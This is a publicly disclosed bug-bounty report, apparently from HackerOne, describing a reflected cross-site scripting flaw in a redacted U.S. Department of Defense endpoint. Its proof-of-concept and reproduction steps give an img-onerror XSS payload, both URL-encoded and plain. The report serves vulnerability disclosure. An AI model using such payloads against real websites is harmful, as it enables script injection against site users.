HexBrain

U.S. Dept Of Defense · Report #1305472

Reflected XSS at ████ via ██████████= parameter

Validstatus
mediumseverity
6upvotes
28 Oct 2021disclosed

How it was found

Hi I found that this endpoint is vulnerable with Reflected XSS, The ███= parameter is vulnerable with RXSS PoC:

██████████?████████=%253Cimg/src/onerror=alert(document.domain)%253E

Payload: <img/src/onerror=alert(document.domain)> Regards

Impact

RXSS

System Host(s)

www.███

Affected Product(s) and Version(s)

CVE Numbers

Steps to Reproduce

██████████?█████=%253Cimg/src/onerror=alert(document.domain)%253E

Suggested Mitigation/Remediation Actions

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original